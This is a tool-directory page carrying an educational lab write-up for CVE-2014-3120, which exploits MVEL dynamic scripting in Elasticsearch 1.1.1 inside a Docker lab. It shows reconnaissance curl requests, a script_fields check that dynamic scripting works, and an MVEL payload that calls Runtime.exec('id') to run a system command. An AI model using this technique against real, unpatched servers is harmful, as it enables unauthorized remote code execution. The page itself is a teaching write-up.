Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2014-3120 — Step-by-step lab guide demonstrating CVE-2014-3120 exploitation against Elasticsearch 1.1.1, covering vulnerability analysis, RCE via MVEL scripting, and post-exploitation in a Docker environment. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2014-3120
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Step-by-step lab guide demonstrating CVE-2014-3120 exploitation against Elasticsearch 1.1.1, covering vulnerability analysis, RCE via MVEL scripting, and post-exploitation in a Docker environment.

View Repository
84 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

LAB 10-CVE-2014-3120

I. SYSTEM ANALYSIS

Identifying the Attack Surface from the Docker Environment

Starting with what is running in the environment. We list all active containers:

docker ps

image.png

Result: Container p1/lab10:latest is running, exposing 2 ports externally:

Port mappingProtocol
0.0.0.0:9200 → 9200/tcpHTTP (needs verification)
0.0.0.0:9300 → 9300/tcpUnknown

Initial observation: Ports 9200 and 9300 are commonly known as the default ports for Elasticsearch. However, we cannot conclude based solely on the port numbers - many other services can bind to any port.

⇒ We curl directly to each port to verify which service is actually running.

Testing port 9300

curl -i http://192.168.3.137:9300/

image.png

Response analysis:

  • Response: curl: (52) Empty reply from server
  • Server Header: None - the server does not return any HTTP response

Assessment: The server accepted the TCP connection (no connection refused), but did not respond using the HTTP protocol. This matches the behavior of the Elasticsearch Transport protocol on port 9300 - a binary protocol used for communication between nodes in a cluster, not HTTP.

⇒ Mindset: Port 9300 uses a binary protocol → cannot be exploited directly via curl/browser. Switch to checking port 9200 - the HTTP REST API port.


Testing port 9200

curl -i http://192.168.3.137:9200/

image.png

Response analysis:

FieldValueMeaning
name"Rage"Elasticsearch node name (random Marvel character name - default behavior of older ES versions)
version.number"1.1.1"Extremely old version - released in April 2014
build_timestamp"2014-04-16T14:27:12Z"Built in 2014
lucene_version"4.7"Lucene 4.7 - old indexing engine
tagline"You Know, for Search"Characteristic signature phrase of Elasticsearch

Attack Surface Assessment:

  • Confirmed this is Elasticsearch 1.1.1 - the service returns a characteristic JSON response with full version details
  • No authentication required - the REST API responds directly without requiring credentials
  • Elasticsearch 1.1.1 (2014) falls within the impact scope of several critical CVEs, notably CVE-2014-3120 - a vulnerability allowing arbitrary code execution via Dynamic Scripting

image.png

⇒ Mindset: Elasticsearch 1.1.1 enables Dynamic Scripting by default - allowing clients to send scripts (MVEL expressions) in search queries for the server to execute. Without a sandbox or proper validation, an attacker can inject a malicious script to execute system commands. Next step: verify whether Dynamic Scripting is actually active on the target.

Verifying Dynamic Scripting and the MVEL Engine

What is Dynamic Scripting?

Elasticsearch supports a Scripting feature - allowing clients to send scripts (mathematical or logical expressions) within search requests for the server to execute when processing results. In Elasticsearch 1.x, the default engine for this feature is MVEL (MVFLEX Expression Language).

Core Security Issue

In Elasticsearch versions prior to 1.2, Dynamic Scripting is enabled by default (script.disable_dynamic: false). This means:

  1. The REST API does not require authentication
  2. Clients can send arbitrary scripts via the script_fields parameter in the _search API
  3. The MVEL engine lacks a sufficiently strong sandbox - permitting access to the Java runtime
  4. Attackers can invoke java.lang.Runtime.getRuntime().exec() to execute system commands

How script_fields Works

When a search request with script_fields is sent, Elasticsearch will:

  1. Receive the JSON request via the _search API
  2. Parse the script_fields field → find the script to execute
  3. Evaluate the script using the MVEL engine
  4. The MVEL engine has full access to the Java runtime → can invoke any Java class
  5. Return the results in the HTTP response

Analyzing the Attack Vector: MVEL → Java Runtime → RCE

In Java, the most common way to execute a system command is:

Runtime.getRuntime().exec("command");

MVEL, as an expression language with full access to Java classes, allows invoking this directly:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Explaining each part:

PartExplanation
import java.io.*Import Java IO classes
Runtime.getRuntime()Retrieve the Java Runtime instance
.exec("id")Execute the shell command id
.getInputStream()Retrieve the output stream of the process
new Scanner(...).useDelimiter("\\A").next()Read the entire output as a string

⇒ Mindset: With Elasticsearch, the RCE output is returned directly in the response — no need to redirect to a file and read it back. This makes the exploit cleaner and faster to verify.

II. EXPLOITATION

Confirming Dynamic Scripting is Active

After identifying the target as Elasticsearch 1.1.1, the next step is to verify whether Dynamic Scripting is actually enabled.

CVE-2014-3120 exploits the fact that Elasticsearch allows clients to send scripts within _search requests. If the script is executed by the server, an attacker can replace the harmless expression with a payload that calls the Java Runtime to execute system commands.

First, we create a test document to ensure the query has at least one matching result. If no documents match, script_fields will not be evaluated.

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Then refresh the index:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Next, we send a _search request with script_fields containing a harmless MVEL expression:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

We send the script "1+1" and the server returns the result 2. This proves Elasticsearch not only receives the _search request, but executes the dynamic script on the server side.

⇒ Dynamic Scripting is active on the target.

Since the target is Elasticsearch 1.1.1, prior to 1.2, this matches the exploitation requirements of CVE-2014-3120: Elasticsearch before version 1.2 enables Dynamic Scripting by default, allowing a remote attacker to execute MVEL expressions/Java code via a search request.

Identifying the Path to the Command Execution Function

We have verified that script_fields is executed by Elasticsearch on the server side via the harmless expression "1+1" returning [2].

This proves that the target not only allows standard searches but also allows clients to send an MVEL script for the server to evaluate during _search processing.

Download Tool